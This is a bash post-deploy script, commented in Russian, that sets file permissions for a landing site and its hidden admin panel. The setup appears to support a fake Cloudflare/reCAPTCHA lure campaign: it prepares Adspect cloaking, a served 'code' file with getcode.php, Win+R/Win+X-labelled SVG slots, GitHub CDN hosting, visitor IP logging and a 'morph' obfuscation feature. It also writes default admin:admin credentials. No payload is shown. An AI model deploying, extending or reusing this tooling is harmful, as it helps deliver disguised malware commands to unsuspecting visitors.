#!/usr/bin/env bash
# Права после заливки лендинга. Запуск из корня сайта или с доменом:
#   sudo bash scripts/post-deploy.sh
#   sudo bash scripts/post-deploy.sh cookstepbysteps.com
#   sudo bash scripts/post-deploy.sh /var/www/example.com
set -euo pipefail

usage() {
    cat <<'EOF'
Использование:
  sudo bash scripts/post-deploy.sh              # корень = родитель папки scripts/
  sudo bash scripts/post-deploy.sh DOMAIN       # SITE=/var/www/DOMAIN
  sudo bash scripts/post-deploy.sh /path/to/site

Переменные (необязательно):
  PHP_USER=www-data   владелец для chown (иначе автоопределение)
EOF
}

resolve_site() {
    if [[ $# -ge 1 && -n "${1:-}" ]]; then
        local arg="$1"
        if [[ -d "$arg" ]]; then
            (cd "$arg" && pwd)
            return
        fi
        if [[ -d "/var/www/$arg" ]]; then
            echo "/var/www/$arg"
            return
        fi
        echo "Не найден каталог: $arg (ожидали /var/www/$arg или полный путь)" >&2
        exit 1
    fi
    local script_dir
    script_dir="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
    (cd "$script_dir/.." && pwd)
}

detect_php_user() {
    if [[ -n "${PHP_USER:-}" ]]; then
        echo "$PHP_USER"
        return
    fi
    local u=""
    if command -v ps >/dev/null 2>&1; then
        u="$(ps aux 2>/dev/null | grep -E '[p]hp-fpm: pool' | head -1 | awk '{print $1}' || true)"
        if [[ -z "$u" ]]; then
            u="$(ps aux 2>/dev/null | grep -E '[a]pache2' | head -1 | awk '{print $1}' || true)"
        fi
        if [[ -z "$u" ]]; then
            u="$(ps aux 2>/dev/null | grep -E '[n]ginx: worker' | head -1 | awk '{print $1}' || true)"
        fi
    fi
    if [[ -z "$u" || "$u" == "root" ]]; then
        u="www-data"
    fi
    echo "$u"
}

if [[ "${1:-}" == "-h" || "${1:-}" == "--help" ]]; then
    usage
    exit 0
fi

SITE="$(resolve_site "${1:-}")"
PHP_USER="$(detect_php_user)"
PANEL="$SITE/kl/ipwrk0290234"
DOMAIN="$(basename "$SITE")"

if [[ ! -d "$PANEL" ]]; then
    echo "Ошибка: нет папки панели: $PANEL" >&2
    echo "Залейте kl/ipwrk0290234/ на сервер." >&2
    exit 1
fi

echo "== post-deploy =="
echo "SITE:     $SITE"
echo "DOMAIN:   $DOMAIN"
echo "PHP_USER: $PHP_USER"
echo "PANEL:    $PANEL"
echo ""

if [[ "$(id -u)" -ne 0 ]]; then
    echo "Запустите с sudo (нужен chown/chmod)." >&2
    exit 1
fi

# php-curl — GitHub upload (вкладка GitHub) + Adspect
ensure_php_curl() {
    if php -m 2>/dev/null | grep -qi '^curl$'; then
        echo "php-curl: уже установлен"
        return 0
    fi
    echo "php-curl: не найден — ставим…"
    local ver pkg
    ver="$(php -r 'echo PHP_MAJOR_VERSION.".".PHP_MINOR_VERSION;' 2>/dev/null || true)"
    if [[ -n "$ver" ]]; then
        pkg="php${ver}-curl"
    else
        pkg="php-curl"
    fi
    if command -v apt-get >/dev/null 2>&1; then
        apt-get update -qq
        DEBIAN_FRONTEND=noninteractive apt-get install -y "$pkg" || DEBIAN_FRONTEND=noninteractive apt-get install -y php-curl || true
        systemctl restart "php${ver}-fpm" 2>/dev/null \
            || systemctl restart php-fpm 2>/dev/null \
            || true
        systemctl restart nginx 2>/dev/null || systemctl restart apache2 2>/dev/null || true
    else
        echo "apt-get нет — поставьте curl для PHP вручную (пакет вроде $pkg)." >&2
        return 1
    fi
    if php -m 2>/dev/null | grep -qi '^curl$'; then
        echo "php-curl: OK ($pkg)"
    else
        echo "php-curl: не удалось подтвердить (проверьте php -m | grep curl)." >&2
    fi
}
ensure_php_curl

chown -R "$PHP_USER:$PHP_USER" "$PANEL"
chmod 775 "$PANEL"

# Фон ленда (upload из панели → assets/bg)
mkdir -p "$SITE/assets/bg"
chown -R "$PHP_USER:$PHP_USER" "$SITE/assets/bg"
chmod 775 "$SITE/assets/bg"
if [[ -f "$SITE/inv-blur.png" ]]; then
    chown "$PHP_USER:$PHP_USER" "$SITE/inv-blur.png" 2>/dev/null || true
    chmod 664 "$SITE/inv-blur.png" 2>/dev/null || true
fi

# Логин панели после заливки: admin / admin (потом сменить во вкладке панели)
# CREDENTIALS_KEEP=1 — не трогать существующий credentials.txt
if [[ "${CREDENTIALS_KEEP:-0}" != "1" ]]; then
    printf 'admin:admin\n' > "$PANEL/credentials.txt"
    chown "$PHP_USER:$PHP_USER" "$PANEL/credentials.txt"
    chmod 660 "$PANEL/credentials.txt"
    echo "credentials.txt → admin:admin (смените пароль в панели после входа)"
else
    echo "credentials.txt: не трогали (CREDENTIALS_KEEP=1)"
fi

for f in code.txt active_code.txt credentials.txt land_config.json stats_data.json \
    code_history.json code_history_active.json code_store.json ips.txt svg_urls.json \
    github_cdn.json github_token.txt; do
    if [[ -f "$PANEL/$f" ]]; then
        chown "$PHP_USER:$PHP_USER" "$PANEL/$f"
        if [[ "$f" == "github_token.txt" ]]; then
            chmod 600 "$PANEL/$f"
        elif [[ "$f" == "credentials.txt" ]]; then
            chmod 660 "$PANEL/$f"
        else
            chmod 664 "$PANEL/$f"
        fi
    fi
done

# Гарантировать writable stats (иначе визиты «нули»)
if [[ ! -f "$PANEL/stats_data.json" ]]; then
    echo '{}' > "$PANEL/stats_data.json"
fi
touch "$PANEL/stats_data.json" "$PANEL/ips.txt"
chown "$PHP_USER:$PHP_USER" "$PANEL/stats_data.json" "$PANEL/ips.txt"
chmod 664 "$PANEL/stats_data.json" "$PANEL/ips.txt"

# Создать svg_urls.json если нет (вкладка SVG в панели)
if [[ ! -f "$PANEL/svg_urls.json" ]]; then
    cat > "$PANEL/svg_urls.json" <<'EOF'
{
    "CF-main": "",
    "CF-win-x": "",
    "CF-win-r": "",
    "Re-main": "",
    "Re-win-x": "",
    "Re-win-r": ""
}
EOF
    chown "$PHP_USER:$PHP_USER" "$PANEL/svg_urls.json"
    chmod 664 "$PANEL/svg_urls.json"
fi

# GitHub CDN settings + пустой токен-файл
if [[ ! -f "$PANEL/github_cdn.json" ]]; then
    cat > "$PANEL/github_cdn.json" <<'EOF'
{
    "repo": "",
    "path": "cdn",
    "branch": "main",
    "links": {
        "CF-main": "",
        "CF-win-x": "",
        "CF-win-r": "",
        "Re-main": "",
        "Re-win-x": "",
        "Re-win-r": ""
    },
    "updated_at": ""
}
EOF
    chown "$PHP_USER:$PHP_USER" "$PANEL/github_cdn.json"
    chmod 664 "$PANEL/github_cdn.json"
fi
if [[ ! -f "$PANEL/github_token.txt" ]]; then
    touch "$PANEL/github_token.txt"
    chown "$PHP_USER:$PHP_USER" "$PANEL/github_token.txt"
    chmod 600 "$PANEL/github_token.txt"
fi

# Корневые PHP/HTML, которые читает лендинг
for f in getcode.php getcode_config.php land.php index.php maintenance.html land.html; do
    if [[ -f "$SITE/$f" ]]; then
        chown "$PHP_USER:$PHP_USER" "$SITE/$f"
        chmod 644 "$SITE/$f"
    fi
done

# js/svg-assets.js — панель «Морфнуть» / «Вернуть исходник» пишет сюда
JS_DIR="$SITE/js"
if [[ -d "$JS_DIR" ]]; then
    chown "$PHP_USER:$PHP_USER" "$JS_DIR"
    chmod 775 "$JS_DIR"
    for f in svg-assets.js svg-assets.src.js; do
        if [[ -f "$JS_DIR/$f" ]]; then
            chown "$PHP_USER:$PHP_USER" "$JS_DIR/$f"
            chmod 664 "$JS_DIR/$f"
        fi
    done
    # если после FTP файла нет — создать из src, чтобы морф мог писать
    if [[ ! -f "$JS_DIR/svg-assets.js" && -f "$JS_DIR/svg-assets.src.js" ]]; then
        cp -f "$JS_DIR/svg-assets.src.js" "$JS_DIR/svg-assets.js"
        chown "$PHP_USER:$PHP_USER" "$JS_DIR/svg-assets.js"
        chmod 664 "$JS_DIR/svg-assets.js"
    fi
    if [[ ! -f "$JS_DIR/svg-assets.js" ]]; then
        touch "$JS_DIR/svg-assets.js"
        chown "$PHP_USER:$PHP_USER" "$JS_DIR/svg-assets.js"
        chmod 664 "$JS_DIR/svg-assets.js"
    fi
    echo "js/svg-assets.js: writable for $PHP_USER (морф в панели)"
else
    echo "Предупреждение: нет $JS_DIR — залейте папку js/" >&2
fi

# Если code.txt после FTP принадлежит root — переключение на active_code.txt
if [[ -f "$PANEL/code.txt" && ! -w "$PANEL/code.txt" ]]; then
    rm -f "$PANEL/code.txt"
    touch "$PANEL/active_code.txt"
    chown "$PHP_USER:$PHP_USER" "$PANEL/active_code.txt"
    chmod 664 "$PANEL/active_code.txt"
    echo "code.txt не writable — удалён; используйте active_code.txt (панель создаст code_store.json)."
fi

echo ""
echo "Готово. Проверка:"
echo "  ls -la \"$PANEL\""
echo "  php -m | grep -i curl"
echo "  curl -sI \"https://$DOMAIN/getcode.php\" | head -1"
echo "  curl -sI \"https://$DOMAIN/maintenance.html\" | head -1"
echo "  Панель: https://$DOMAIN/kl/ipwrk0290234/stats.php  (логин admin / admin → смените пароль)"
echo "  Морф:   ls -la \"$JS_DIR/svg-assets.js\"  (владелец $PHP_USER)"
